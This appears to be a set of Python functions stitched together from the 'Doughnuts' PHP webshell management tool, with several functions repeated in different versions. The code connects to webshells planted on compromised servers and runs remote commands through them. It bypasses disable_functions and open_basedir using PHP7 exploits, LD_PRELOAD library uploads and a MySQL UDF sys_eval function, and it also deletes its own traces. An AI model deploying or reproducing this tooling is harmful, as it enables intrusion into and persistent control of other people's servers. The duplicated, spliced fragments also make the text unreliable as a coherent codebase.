def main(print_banner: bool = True): if (print_banner): banner() gset("root_path", path.split(path.realpath(__file__))[0]) with open(path.join(gget("root_path"), "auxiliary", "user_agents", "ua.txt"), "r") as f: gset("user_agents", f.readlines()) register_helpmenu() run_loop(My_Loop_init(), leave_message="Bye! Doughnuts:)")
def run(): """ exit Quit this program. """ gset("loop", False, True) clean_trace() sys_exit()
def is_windows(remote: bool = True): if (remote): return gget("webshell.iswin", "webshell") else: if (not gget("iswin")): flag = True if 'win' in system().lower() else False gset("iswin", flag) else: flag = gget("iswin") return flag
def run(): """ switch (for input Non-ascii) Switch input between raw input and better input. """ switch = not gget("raw_input", default=False) print( f"\nRaw input: {color.green('On') if switch else color.red('Off')}\n") gset("raw_input", switch, True)
def run(directory: str = ''): """ cd Change the working directory. """ res = send(f"chdir(base64_decode('{base64_encode(str(directory))}'));print(getcwd());") if (not res): return pwd = res.r_text.strip() gset("webshell.pwd", pwd, namespace="webshell") gset("webshell.prompt", f"doughnuts ({color.cyan(gget('webshell.netloc', 'webshell'))}) > ")
def run(): """ db_shell Get a temporary sql shell of target system. """ if (not gget("db_connected", "webshell")): print(color.red("Please run db_init command first")) return print( color.cyan( "Eenter interactive temporary sql shell...\n\nUse 'back' command to return doughnuts.\n" )) database = gget("db_dbname", "webshell") prompt = "mysql (%s) > " set_namespace("webshell", False, True) wordlist = gget("webshell.wordlist") readline.set_wordlist(NEW_SQL_WORDLIST) try: while gget("loop"): print(prompt % color.cyan(database), end="") command = readline() lower_command = command.lower() if (lower_command.lower() in ['exit', 'quit', 'back']): print() break if (command == ''): print() continue if (lower_command.startswith("use ") and len(lower_command) > 4): try: temp_database = match("use ([^;]*);?", lower_command).group(1) res = send(check_database(temp_database)) if ("Connect error" in res.r_text): print("\n" + color.red(res.r_text.strip()) + "\n") else: database = temp_database print("\n" + color.green( f"Change current database: {database}") + "\n") except (IndexError, AttributeError): print("\n" + color.red("SQL syntax error") + "\n") else: form = execute_sql_command(command, database) if (form == ''): print("\n" + color.red("Connection Error / SQL syntax error") + "\n") else: print(execute_sql_command(command, database)) finally: gset("db_dbname", database, True, "webshell") readline.set_wordlist(wordlist)
def loop_main(): """ run_loop main function """ gpf = gget("general.pf") api = gget("api") old_namespace = '' while gget("loop"): namespace = gget("namespace") tpf = None npf = gget(f"{namespace}.pf") if (namespace != old_namespace): wordlist = gget(namespace + ".wordlist") prefix_wordlist = gget(namespace + ".prefix_wordlist") readline.set_wordlist(wordlist) readline.set_prefix_wordlist(prefix_wordlist) # -------------------------------------- print(gget(f"{namespace}.prompt"), end="") cmd = readline().strip() gset("raw_command", cmd, True) if (not cmd): continue args = shlex.split(cmd) # 切割 if " " in cmd: # 输入的命令 order = args[0] else: order = cmd del args[0] raw_command_args = " ".join(args) gset("raw_command_args", raw_command_args, True) order = order_alias(order) # 解析别名 # -------------------------------------- if order in npf: # 命令存在 tpf = npf elif order in gpf: tpf = gpf elif cmd: print("[Error] %s: Command Not Found" % order) if tpf: try: arg_dict = args_parse(args) # 解析参数 tpf[order].run(**arg_dict) except TypeError as e: exc_type, exc_value, exc_tb = exc_info() print("[TypeError] %s" % str(e).replace("%s()" % api, "%s()" % order)) if DEBUG_LOOP: print_exception(exc_type, exc_value, exc_tb) except Exception as e: exc_type, exc_value, exc_tb = exc_info() if DEBUG_LOOP: print_exception(exc_type, exc_value, exc_tb) print("[%s] %s" % (exc_type.__name__, e))
def run(id: int = 0): """ load Load a webshell from log. eg: load {id} """ pf = gget("main.pf") root_path = gget("root_path") webshell_log_path = path.join(root_path, "webshell.log") if (not path.exists(webshell_log_path)): print(color.red("No webshell.log")) return f = open(webshell_log_path, "r+") lines = f.readlines() try: if (id <= 0): line_num = pf["show"].run() print("choose:>", end="") load_id = readline() if (load_id.isdigit()): load_id = int(load_id) else: print(color.red("\nInput Error\n")) return else: load_id = id line_num = len(lines) if load_id <= line_num: data = lines[load_id - 1].strip().split("|") gset("webshell.from_log", True, namespace="webshell") connect = pf["connect"].run(*data) if (not connect): print( "\nThis webshell seems to no longer working, do you want to delete it?\n\n(YES/no) >", end="") flag = input() if (flag.lower() in ['n', 'no']): return del lines[load_id - 1] f.seek(0) f.truncate() f.write("".join(lines)) else: print(color.red("ID error")) finally: f.close()
def run(directory: str = ''): """ cd Change the working directory. eg: cd {directory=""} """ res = send( f"chdir(base64_decode('{base64_encode(str(directory))}'));print(getcwd());" ) if (not res): return pwd = res.r_text.strip() gset("webshell.pwd", pwd, namespace="webshell") update_prompt()
def run(database: str): """ db_use Change current database. """ if (not gget("db_connected", "webshell")): print(color.red("Please run db_init command first")) return res = send(get_php(database)) if ("Connect error" in res.r_text): print("\n" + color.red(res.r_text.strip()) + "\n") else: print("\n" + color.green(f"Change current database: {database}") + "\n") gset("db_dbname", database, True, "webshell")
def run(): """ bobd (Only for *unix) Try to bypass open_basedir by ini_set and chdir. """ disable_func_list = gget("webshell.disable_functions", "webshell") if (is_windows()): print(color.red("Target system isn't *unix")) return if ("chdir" in disable_func_list or ("ini_set" in disable_func_list and "ini_alter" in disable_func_list)): print("\n" + color.red("ini_set/ini_alter or chdir function is disabled") + "\n") return switch = not gget("webshell.bypass_obd", "webshell", default=False) print( f"\nbypass open_basedir: {color.green('On') if switch else color.red('Off')}\n") gset("webshell.bypass_obd", switch, True, "webshell")
def run(proxy_url: str = ""): """ proxy Set proxy for requests, Support socks and http, Set None to unset. eg: proxy {proxy_url='http://127.0.0.1:10808'} """ if (proxy_url == ""): print("\n" + color.green(f"Current proxy: {gget('proxy_url', 'webshell')}") + "\n") else: if (proxy_url.lower() == "none"): proxy_url = None Session.proxies = {'http': proxy_url, 'https': proxy_url} print("\n" + color.green(f"Set proxy: proxy {proxy_url}") + "\n") gset("proxy_url", proxy_url, True, namespace="webshell")
def has_env(env: str, remote: bool = True): if (is_windows(remote)): command = "where" else: command = "which" if (remote): if (not gget("webshell.has_%s" % env, "webshell")): flag = send(get_system_code(f"{command} {env}")).r_text gset("webshell.has_%s" % env, flag, namespace="webshell") else: flag = gget("webshell.has_%s" % env, "webshell") else: if (not gget("has_%s" % env)): flag = check_output([command, env]).strip().decode(LOCAL_ENCODING) gset("has_%s" % env, flag) else: flag = gget("has_%s" % env) return len(flag)
def run(switch: str = "SEND"): """ debug Open / Close Debug switch. switch: - SEND - LOOP """ switch = switch.upper() if (switch in ["LOOP", "SEND"]): switch_name = "DEBUG." + switch button = not gget(switch_name, default=False) gset(switch_name, button) print( f"\nSet DEBUG switch {switch}: {color.green('On') if button else color.red('Off')}\n") else: print(color.red("\nNo this switch\n"))
def clean_trace(): def get_clean_ld_preload_php(filename: str): system_clean_command = f"rm -f {filename} && echo success" return """$f=base64_decode("%s"); if (!unlink($f)){ %s }else{echo "success";} """ % (base64_encode(filename), get_system_code(system_clean_command)) ld_preload_filename = gget("webshell.ld_preload_path", "webshell", None) if (ld_preload_filename): print(color.yellow("\nClean LD_PRELOAD traces...\n")) res = send(get_clean_ld_preload_php(ld_preload_filename)) if (res): text = res.r_text.strip() if ("success" in text): print(color.green("Clean success\n")) else: print(color.red("Clean failed\n")) gset("webshell.ld_preload_path", None, True, "webshell") gset("webshell.ld_preload_func", None, True, "webshell")
def run(switch: str = ""): """ verbose Open / Close verbose info for prompt. switch: - ON - OFF """ switch = switch.upper() if (switch in ["ON", "OFF", ""]): switch_name = "PROMPT.VERBOSE" if switch == "": gset(switch_name, not gget(switch_name, default=False)) elif switch == "ON": gset(switch_name, True) elif switch == "OFF": gset(switch_name, False) update_prompt() print( f"\nSet verbose info: {color.green('On') if gget(switch_name) else color.red('Off')}\n" ) else: print(color.red("\nNo this switch\n"))
def set_mode(mode: int, test: bool = False): if (mode == 4 and not gget("webshell.ld_preload_path", "webshell", False)): disable_func_list = gget("webshell.disable_functions", "webshell") if (not gget("webshell.ld_preload_path", "webshell", None)): filename = "/tmp/%s.so" % str(uuid4()) ld_preload_func = send(get_detectd_ld_preload()).r_text.strip() upload_result = upload( path.join(getcwd(), "auxiliary", "ld_preload_x86_64.so"), filename, True) if (not upload_result): return gset("webshell.ld_preload_path", filename, True, "webshell") gset("webshell.ld_preload_func", ld_preload_func, True, "webshell") if ("putenv" in disable_func_list): print(color.red("\nputenv is disabled.\n")) return False if (not ld_preload_func): print(color.red("\nNo ld_preload function!\n")) return False if (mode in mode_require_ext_dict): ext = mode_require_ext_dict[mode] res = send(get_detectd_ext(ext)) if (not res): return False text = res.r_text.strip() if ("exist" not in text): print(color.red(f"\nNo {ext} extension!\n")) return False if (not test): if (mode == 7): print(color.yellow(f"\nYou may need to wait 1 second to get the result..\n")) print(f"\nSet bypass disable_functions: {mode}-{mode_to_desc_dict[mode]}\n") gset("webshell.bypass_df", mode, True, "webshell") return True
def run_loop(loop_init_object: Loop_init, leave_message: str = "Bye!"): """ run_loop Args: loop_init_object (Loop_init): Loop Init class leave_message (str, optional): The message when you leave. Defaults to 'Bye!'. """ from threading import Thread from time import sleep set_namespace("main", callback=False if gget("preload_command") else True) gset("leave_message", leave_message) t = Thread(target=loop_main) t.setDaemon(True) t.start() while gget("loop"): try: sleep(10) except KeyboardInterrupt: continue except EOFError: break sys_exit()
def main(print_banner: bool = True): if (print_banner): banner() gset("root_path", path.split(path.realpath(__file__))[0]) with open(path.join(gget("root_path"), "auxiliary", "user_agents", "ua.txt"), "r") as f: gset("user_agents", f.readlines()) register_helpmenu() try: with open("./variables.config", "r") as f: try: for key, value in loads(f.read()).items(): custom_set(key=key, value=value) print( f"\n{color.green('Variable(s) loaded successfully from file variables.config')}\n") except JSONDecodeError: print( f"\n{color.yellow('Variable(s) could not be read correctly')}\n") except FileNotFoundError: pass except IOError: print(f"\n{color.red('Permission denied to read variables.config')}\n") run_loop(My_Loop_init(), leave_message="Bye! Doughnuts:)")
def run(filepath="log.txt"): """ log (Only for *unix) Write input and output to the log. eg: log {filepath="log.txt"} """ if (is_windows(False)): print(color.red("\nYour system isn't *unix\n")) return if access(filepath, W_OK): print(color.green(f"\nSet log in {filepath}\n")) sys.stdout = Logger(filepath, sys.__stdout__) sys.stderr = Logger(filepath, sys.__stderr__) gset("log_filepath", filepath, True) gset("log_stdout", sys.stdout, True) gset("log_stderr", sys.stderr, True) else: print(color.red("\nFile path is invalid\n"))
def set_mode(mode: int, test: bool = False): if (mode == 4 and not gget("webshell.ld_preload_path", "webshell", False)): # ld_preload disable_func_list = gget("webshell.disable_functions", "webshell") if (not gget("webshell.ld_preload_path", "webshell", None)): filename = "/tmp/%s.so" % str(uuid4()) ld_preload_func = send(get_detectd_ld_preload()).r_text.strip() upload_result = upload( path.join(gget("root_path"), "auxiliary", "ld_preload", "ld_preload_x86_64.so"), filename, True) if (not upload_result): return gset("webshell.ld_preload_path", filename, True, "webshell") gset("webshell.ld_preload_func", ld_preload_func, True, "webshell") if ("putenv" in disable_func_list): print(color.red("\nputenv is disabled\n")) return False if (not ld_preload_func): print(color.red("\nNo ld_preload function!\n")) return False if (mode in mode_require_ext_dict): ext = mode_require_ext_dict[mode] res = send(get_detectd_ext(ext)) if (not res): return False text = res.r_text.strip() if ("exist" not in text): print(color.red(f"\nNo {ext} extension\n")) return False if (mode == 8): # udf if (gget("db_connected", "webshell") and gget("db_dbms", "webshell") == "mysql"): print(color.yellow(f"\nDetect plugin dir...")) plugin_dir_res = execute_sql_command( "show variables like '%plugin_dir%';", raw=True) if (len(plugin_dir_res) > 1 and len(plugin_dir_res[1]) > 1): plugin_dir = plugin_dir_res[1][1].strip().replace("\\", "\\\\") else: print(color.red(f"\nCould not find plugin_dir")) return False print(color.yellow(f"\nMake plugin dir...")) phpcode = '''if(!is_dir("%s") and !mkdir("%s", 0777, true)){print("fail");}''' % ( plugin_dir, plugin_dir) res = send(phpcode) if (not res or "fail" in res.r_text): print(color.red(f"\nMake plugin dir failed!\n")) return False system = "windows" if (gget("webshell.iswin", "webshell")) else "linux" print("\nReference Information:", gget("webshell.os_version", "webshell")) print("\nInput target system bits (32/64/exit): ", end="") bits = "64" _ = readline().strip() if (_ == "32"): bits = 32 elif (_ in ["back", "exit", "quit"] or _ != "64"): return False udf_ext = ".dll" if (gget("webshell.iswin", "webshell")) else ".so" udf_path = plugin_dir + "tmp" + udf_ext print(color.yellow(f"\nUpload {udf_ext[1:]}...")) upload_result = upload( path.join(gget("root_path"), "auxiliary", "udf", "mysql", system, bits, "lib_mysqludf_sys" + udf_ext), udf_path, True) if (not upload_result): print(color.red("\nUpload failed\n")) return gset("webshell.udf_path", udf_path, True, "webshell") print(color.yellow(f"\nCreate function sys_eval...")) execute_sql_command( f"create function sys_eval returns string soname 'tmp{udf_ext}'", raw=True) test_res = execute_sql_command("select sys_eval('whoami');", raw=True) if (len(test_res) > 1 and len(test_res[1][0])): print(color.green(f"\nCreate funtion success")) else: print(color.red(f"\nCreate funtion failed\n")) return False else: print( color.red( f"\nNo connection to database or dbms isn't mysql\n")) return False if (not test): if (mode == 7): print( color.yellow( f"\nYou may need to wait 1 second to get the result..\n")) print( f"\nSet bypass disable_functions: {mode}-{mode_to_desc_dict[mode]}\n" ) gset("webshell.bypass_df", mode, True, "webshell") return True
def __init__(self, api: str = "run", init_namespace: str = "main"): """ Initialize the loop Args: api (str, optional): The name of the entry function that is common to all plugins.. Defaults to "run". default_namespace (str, optional): Initial namespace. Defaults to "main". """ platforms = self.set_platforms() gset("api", api) gset("loop", True) gset("blockexit", False) gset("namespace", init_namespace) gset("root_path", path[0]) gset("namespace_folders", platforms) gset("folders_namespace", {v: k for k, v in platforms.items()}) root_path = gget("root_path") cwd = getcwd() chdir(root_path) for k, v in platforms.items(): pf = import_platform(v, api) gset(k + ".pf", pf) gset(k + ".wordlist", {"command_wordlist": list(pf.names())}) gset(k + ".prefix_wordlist", {command: gget(command + ".arg_wordlist", k) for command in gget(k + ".wordlist")["command_wordlist"]}) general_wordlist = gget("general.wordlist")["command_wordlist"] for k in platforms.keys(): # 往其他插件平台添加general平台的命令列表 if (k == "general"): continue wordlist = gget(k + ".wordlist") wordlist["command_wordlist"] += general_wordlist for k, v in self.set_prompts().items(): gset(k + ".prompt", v) chdir(cwd)
print( f"\n{color.yellow('Variable(s) could not be read correctly')}\n") except FileNotFoundError: pass except IOError: print(f"\n{color.red('Permission denied to read variables.config')}\n") run_loop(My_Loop_init(), leave_message="Bye! Doughnuts:)") class My_Loop_init(Loop_init): def set_platforms(self) -> dict: return {"main": "main_plugins", "webshell": "webshell_plugins", "general": "general", "encode": "encode"} def set_prompts(self) -> dict: return {"main": "doughnuts > ", "webshell": "> "} if __name__ == "__main__": argc = len(argv) if (argc > 1): if (argv[1].lower() in ["generate", "gen"] and 1 < argc < 8): gset("outside", True) from main_plugins.generate import outside_generate as generate generate(*argv[2:]) elif (argv[1] in ["connect", "c"]): gset("preload_command", " ".join(argv[1:])) main(False) else: main()
def run(url: str, method: str = "GET", pwd: str = "pass", *encoders_or_params): """ connect Connect a webshell of php. eg: connect {url} {method} {pass} {encoders_or_params...} """ method = str(method).upper() params_dict = {"headers": {}} if method == "GET": raw_key = "params" elif method == "POST": raw_key = "data" elif method == "COOKIE": raw_key = "cookies" elif method == "HEADER": raw_key = "headers" else: print(color.red("Method error")) return if (is_windows(False)): new_eop = [] extra_params = [] pass_next = False eop_len = len(encoders_or_params) for i in range(eop_len): # 清洗数据,解决windows下a=b传成2个参数的错误 v = str(encoders_or_params[i]) if (pass_next): pass_next = False continue if (":" not in v): new_eop.append(str(v)) elif (i < eop_len - 1): extra_params.append(v + "=" + str(encoders_or_params[i+1])) pass_next = True encoders_or_params = new_eop extra_params = [f for f in encoders_or_params if "=" in str(f)] params_dict[raw_key] = {} for each in extra_params: if(":" in each): k, data = each.split(":") if (k not in params_dict): params_dict[k] = {} params_dict[k].update(dict([(k, value_translation(v[0])) for k, v in parse_qs(data).items()])) else: k, data = each.split("=") if (k not in params_dict): params_dict[k] = {} if (k == "auth"): params_dict[k] = value_translation(data) webshell_netloc = urlparse(url).netloc gset("webshell.url", url, namespace="webshell") gset("webshell.params_dict", params_dict, namespace="webshell") gset("webshell.password", str(pwd), namespace="webshell") gset("webshell.method", raw_key, namespace="webshell") gset("webshell.encode_functions", encoders_or_params, namespace="webshell") gset("webshell.netloc", webshell_netloc, namespace="webshell") gset( "webshell.download_path", path.join(gget("root_path"), "target", webshell_netloc.replace(":", "_")), namespace="webshell", ) gset("webshell.pwd", ".", namespace="webshell") gset("webshell.bypass_df", -1, namespace="webshell") version_flag_start = randstr( string=ascii_letters + digits, offset=randint(32, 62)) version_flag_end = randstr( string=ascii_letters + digits, offset=randint(32, 62)) res = send( 'print("' + version_flag_start + '|".phpversion()."|' + version_flag_end + '");', raw=True) if (not res or version_flag_start not in res.r_text): print(color.red("Connect failed...")) if (res): print(res.r_text) return False if ('7.' in res.r_text): gset("webshell.v7", True, namespace="webshell") if version_flag_start in res.r_text: # 验证是否成功连接 gset("webshell.php_version", res.r_text.split(version_flag_start + "|")[ 1].split("|" + version_flag_end)[0], namespace="webshell") info_req = send( """$bit=PHP_INT_SIZE==4?32:64; print($_SERVER['DOCUMENT_ROOT'].'|'.php_uname().'|'.$_SERVER['SERVER_SOFTWARE'].'|'.getcwd().'|'.sys_get_temp_dir().'|'.ini_get('disable_functions').'|'.ini_get('open_basedir').'|'.$bit.'|'.DIRECTORY_SEPARATOR);""" ) info = info_req.r_text.strip().split("|") exec_func = send(get_detectd_exec_php()).r_text.strip() prepare_system_template(exec_func) gset("webshell.root", info[0], namespace="webshell") gset( "webshell.iswin", (True if "win" in info[1].lower() else False), namespace="webshell", ) gset("webshell.server_version", info[2], namespace="webshell") gset("webshell.pwd", info[3], namespace="webshell") gset("webshell.prompt", f"doughnuts ({color.cyan(webshell_netloc)}) > ") gset("webshell.exec_func", exec_func, namespace="webshell") upload_tmp_dir = info[4] if (not upload_tmp_dir): if (not is_windows()): upload_tmp_dir = "/tmp/" else: if (is_windows()): upload_tmp_dir += "\\\\" else: upload_tmp_dir += "/" gset("webshell.upload_tmp_dir", upload_tmp_dir, namespace="webshell") disable_function_list = [f.strip() for f in info[5].split(",")] if ('' in disable_function_list): disable_function_list.remove('') gset("webshell.obd", info[6], namespace="webshell") bits = info[7] try: bits = int(bits) except ValueError: bits = 0 print(color.yellow("detect architecture error\n")) gset("webshell.os_version", info[1] + " (%d bits)" % bits, namespace="webshell") gset("webshell.arch", bits, namespace="webshell") gset("webshell.directory_separator", info[8], namespace="webshell") gset("webshell.disable_functions", disable_function_list, namespace="webshell") root_path = gget("root_path") from_log = gget("webshell.from_log", "webshell") if not from_log: extra = "|".join(encoders_or_params) + \ "|" if encoders_or_params else "" with open(path.join(root_path, "webshell.log"), "ab+") as f: text = f.read() if (text): f.seek(-1, SEEK_END) if f.read(1) != b"\n": f.write(b"\n") f.write(f"{url}|{method}|{pwd}|{extra}\n".encode()) else: gset("webshell.from_log", False, True, "webshell") print(color.cyan("Connect success...\n")) print_webshell_info() set_namespace("webshell", callback=False) update_prompt() if (exec_func == ''): print(color.red("No system execute function\n")) return True
def run(url: str, method: str = "GET", pwd: str = "pass", *encoders_or_params): """ connect Connect a webshell of php. eg: connect {url} {method} {pass} {encoders_or_params...} """ method = str(method).upper() params_dict = {"headers": {}} if method == "GET": raw_key = "params" elif method == "POST": raw_key = "data" elif method == "COOKIE": raw_key = "cookies" elif method == "HEADER": raw_key = "headers" else: print(color.red("Method error")) return if (is_windows(False)): new_eop = [] extra_params = [] pass_next = False eop_len = len(encoders_or_params) for i in range(eop_len): # 清洗数据,解决windows下a=b传成2个参数的错误 v = str(encoders_or_params[i]) if (pass_next): pass_next = False continue if (":" not in v): new_eop.append(str(v)) continue if ("=" not in v and i < eop_len - 1): extra_params.append(v + "=" + str(encoders_or_params[i + 1])) pass_next = True else: extra_params.append(str(v)) encoders_or_params = new_eop + extra_params extra_params = [f for f in encoders_or_params if ":" in str(f)] params_dict[raw_key] = {} for each in extra_params: k, data = each.split(":") if (k not in params_dict): params_dict[k] = {} params_dict[k].update( dict([(k, v[0]) for k, v in parse_qs(data).items()])) webshell_netloc = urlparse(url).netloc gset("webshell.url", url, namespace="webshell") gset("webshell.params_dict", params_dict, namespace="webshell") gset("webshell.password", str(pwd), namespace="webshell") gset("webshell.method", raw_key, namespace="webshell") gset("webshell.encode_functions", encoders_or_params, namespace="webshell") gset("webshell.netloc", webshell_netloc, namespace="webshell") gset( "webshell.download_path", path.join(gget("root_path"), "target", webshell_netloc.replace(":", "_")), namespace="webshell", ) gset("webshell.pwd", ".", namespace="webshell") gset("webshell.bypass_df", -1, namespace="webshell") res = send('print("c4ca4238a0b923820d|".phpversion()."|cc509a6f75849b");', raw=True) if (not res or "c4ca4238a0b923820d" not in res.r_text): print(color.red("Connect failed...")) if (res): print(res.r_text) return False if ('7.' in res.r_text): gset("webshell.v7", True, namespace="webshell") if "c4ca4238a0b923820d" in res.r_text: # 验证是否成功连接 gset("webshell.php_version", res.r_text.split("c4ca4238a0b923820d|")[1].split( "|cc509a6f75849b")[0], namespace="webshell") info_req = send( """print($_SERVER['DOCUMENT_ROOT'].'|'.php_uname().'|'.$_SERVER['SERVER_SOFTWARE'].'|'.getcwd().'|'.ini_get('upload_tmp_dir').'|'.ini_get('disable_functions').'|'.ini_get('open_basedir'));""" ) info = info_req.r_text.strip().split("|") exec_func = send(get_detectd_exec_php()).r_text.strip() prepare_system_template(exec_func) gset("webshell.root", info[0], namespace="webshell") gset("webshell.os_version", info[1], namespace="webshell") gset( "webshell.iswin", (True if "win" in info[1].lower() else False), namespace="webshell", ) gset("webshell.server_version", info[2], namespace="webshell") gset("webshell.pwd", info[3], namespace="webshell") gset("webshell.prompt", f"doughnuts ({color.cyan(webshell_netloc)}) > ") gset("webshell.exec_func", exec_func, namespace="webshell") upload_tmp_dir = info[4] if (not upload_tmp_dir): if (not is_windows()): upload_tmp_dir = "/tmp/" else: if (is_windows()): upload_tmp_dir += "\\\\" else: upload_tmp_dir += "/" gset("webshell.upload_tmp_dir", upload_tmp_dir, namespace="webshell") disable_function_list = [f.strip() for f in info[5].split(",")] if ('' in disable_function_list): disable_function_list.remove('') gset("webshell.obd", info[6], namespace="webshell") gset("webshell.disable_functions", disable_function_list, namespace="webshell") root_path = gget("root_path") from_log = gget("webshell.from_log", "webshell") if not from_log: extra = "|".join( encoders_or_params) + "|" if encoders_or_params else "" with open(path.join(root_path, "webshell.log"), "a+") as f: f.write(f"{url}|{method}|{pwd}|{extra}\n") else: gset("webshell.from_log", False, True, "webshell") print(color.cyan("Connect success...\n")) print_webshell_info() set_namespace("webshell", callback=False) if (exec_func == ''): print(color.red("No system execute function!\n")) return True
def run(host: str, username: str, password: str, dbname: str = "", port: int = 0, dbms: str = "mysql"): """ db_init Initialize the database connection. Support dbms: - mysql - mssql - access eg: db_init {host} {username} {password} {dbname=''} {port=0} {dbms='mysql'} """ dbms = dbms.lower() db_ext = dbms res = send(detect_ext("PDO", "mysqli")) if (not res): # 探测是否存在pdo/mysqli扩展 print("\n" + color.red("Detect error") + "\n") return text = res.r_text.lower() if (dbms == "mysql" and not text): print("\n" + color.red("No PDO and mysqli extension") + "\n") return elif ("pdo" not in text): print("\n" + color.red("No PDO extension") + "\n") return if (dbms in PDO_DMBS_EXT_DICT): res = send(detect_ext(*PDO_DMBS_EXT_DICT[dbms])) text = res.r_text.strip() if (not res): # 探测pdo支持的mssql扩展 print("\n" + color.red(f"Detect PDO extension for {dbms} error") + "\n") return db_ext = text.split(",")[0][4:] gset("db_dbms", dbms, True, "webshell") gset("db_ext", db_ext, True, "webshell") gset("db_connect_type", text.split(",")[0], True, "webshell") res = send(get_php(host, username, password, dbname, port)) if (not res): return if ("Connect error" in res.r_text): print("\n" + color.red(res.r_text.strip()) + "\n") else: print("\n" + color.green("Connect success")) gset("db_connected", True, True, "webshell") gset("db_host", host, True, "webshell") gset("db_username", username, True, "webshell") gset("db_password", password, True, "webshell") gset("db_dbname", dbname, True, "webshell") gset("db_port", port, True, "webshell") info = res.r_text.strip() if (info): info_list = info.split("\n") try: gset("db_current_user", info_list[0], True, "webshell") gset("db_version", info_list[1], True, "webshell") print_db_info() except IndexError: print("\n" + color.red("Select data error") + "\n")
def run(mode: str = '0'): """ bdf Try to bypass disable_functions by php7-backtrace-bypass. Mode -1 / Mode close: Close bdf Mode auto: Automatically filter and test all bdf modes Mode 0: Display the current bdf mode Mode 1 php7-backtrace(Only for php7.0-7.4 and *unix) : Origin: - https://github.com/mm0r1/exploits/tree/master/php7-backtrace-bypass Targets: - 7.0 - all versions to date - 7.1 - all versions to date - 7.2 - all versions to date - 7.3 < 7.3.15 (released 20 Feb 2020) - 7.4 < 7.4.3 (released 20 Feb 2020) Mode 2 php7-gc(Only for php7.0-7.3 and *unix) : Origin: - https://github.com/mm0r1/exploits/tree/master/php7-gc-bypass Targets: - 7.0 - all versions to date - 7.1 - all versions to date - 7.2 - all versions to date - 7.3 - all versions to date Mode 3 php7-json(Only for php7.1-7.3): Origin: - https://github.com/mm0r1/exploits/tree/master/php-json-bypass Targets: - 7.1 - all versions to date - 7.2 < 7.2.19 (released 30 May 2019) - 7.3 < 7.3.6 (released 30 May 2019) Mode 4 LD_PRELOAD(Only for *unix): Need: - putenv, mail/error_log/mb_send_mail/imap_email fucntions enabled Mode 5 FFI(Only for *unix and php >= 7.4): Author: - MorouU Need: - FFI extension Mode 6 COM(Only for windows): Need: - com_dotnet extension Mode 7 imap_open: Need: - imap extension """ if (mode == "close"): mode = -1 if (mode == "auto"): test_list = windows_test_list if is_windows() else linux_test_list php_version = gget("webshell.php_version", "webshell") if (not php_version.startswith("7.")): test_list -= {1, 2, 3} for test_mode in test_list: print(f"Try Mode {test_mode} {mode_to_desc_dict[test_mode]}:") if (set_mode(test_mode, True)): res = send( get_system_code("echo 6ac2ed344113c07c0028327388553273", mode=test_mode)) if (res and "6ac2ed344113c07c0028327388553273" in res.r_text): print(color.green("\n Success\n")) print( f"Set bypass disable_functions: {test_mode}-{mode_to_desc_dict[test_mode]}\n" ) gset("webshell.bypass_df", test_mode, True, "webshell") break else: print(color.red("\n Failed!\n")) continue else: try: mode = int(mode) except ValueError: print(color.red("\nMode error.\n")) return if (mode == 0): print( f"\nbypass disable_functions: {mode_to_desc_dict[gget('webshell.bypass_df', 'webshell')]}\n" ) elif (mode in mode_to_desc_dict and (mode not in mode_linux_set or not is_windows())): set_mode(mode) pass else: print(color.red("\nMode error.\n"))
def run(url: str, method: str = "GET", pwd: str = "pass", *encode_functions): """ connect Connect a webshell of php. eg: connect {url} {method} {pass} {encoders...} """ method = str(method).upper() params_dict = {} if method == "GET": raw_key = "params" elif method == "POST": raw_key = "data" elif method == "COOKIE": raw_key = "cookies" elif method == "HEADER": raw_key = "headers" else: print(color.red("Method error")) return encode_functions = [str(f) for f in encode_functions] params_dict[raw_key] = {} webshell_netloc = urlparse(url).netloc gset("url", url, namespace="webshell") gset("webshell.params_dict", params_dict, namespace="webshell") gset("webshell.password", str(pwd), namespace="webshell") gset("webshell.method", raw_key, namespace="webshell") gset("webshell.encode_functions", encode_functions, namespace="webshell") gset("webshell.netloc", webshell_netloc, namespace="webshell") gset( "webshell.download_path", path.join(gget("root_path"), "target", webshell_netloc.replace(":", "_")), namespace="webshell", ) gset("webshell.pwd", ".", namespace="webshell") gset("webshell.bypass_df", -1, namespace="webshell") res = send('print("c4ca4238a0b923820d|".phpversion()."|cc509a6f75849b");', raw=True) if (not res or "c4ca4238a0b923820d" not in res.r_text): print(color.red("Connect failed...")) if (res): print(res.r_text) return False if ('7.' in res.r_text): gset("webshell.v7", True, namespace="webshell") if "c4ca4238a0b923820d" in res.r_text: # 验证是否成功连接 gset("webshell.php_version", res.r_text.split("c4ca4238a0b923820d|")[1].split("|cc509a6f75849b")[0], namespace="webshell") info_req = send( "print($_SERVER['DOCUMENT_ROOT'].'|'.php_uname().'|'.$_SERVER['SERVER_SOFTWARE'].'|'.getcwd().'|'.ini_get('upload_tmp_dir').'|'.ini_get('disable_functions').'|'.ini_get('open_basedir'));" ) info = info_req.r_text.strip().split("|") exec_func = send(get_detectd_exec_php()).r_text.strip() prepare_system_template(exec_func) gset("webshell.root", info[0], namespace="webshell") gset("webshell.os_version", info[1], namespace="webshell") gset( "webshell.iswin", (True if "win" in info[1].lower() else False), namespace="webshell", ) gset("webshell.server_version", info[2], namespace="webshell") gset("webshell.pwd", info[3], namespace="webshell") gset("webshell.prompt", f"doughnuts ({color.cyan(webshell_netloc)}) > ") gset("webshell.exec_func", exec_func, namespace="webshell") upload_tmp_dir = info[4] if (not upload_tmp_dir): if (not is_windows()): upload_tmp_dir = "/tmp/" else: if (is_windows()): upload_tmp_dir += "\\\\" else: upload_tmp_dir += "/" gset("webshell.upload_tmp_dir", upload_tmp_dir, namespace="webshell") disable_function_list = [f.strip() for f in info[5].split(",")] if ('' in disable_function_list): disable_function_list.remove('') gset("webshell.obd", info[6], namespace="webshell") gset("webshell.disable_functions", disable_function_list, namespace="webshell") from_log = gget("webshell.from_log", "webshell") if not from_log: with open("webshell.log", "a+") as f: f.write(f"{url}|{method}|{pwd}|{'|'.join(encode_functions)}\n") else: gset("webshell.from_log", False, True, "webshell") print(color.cyan("Connect success...\n")) print_webshell_info() set_namespace("webshell", callback=False) if (exec_func == ''): print(color.red("No system execute function!\n")) return True
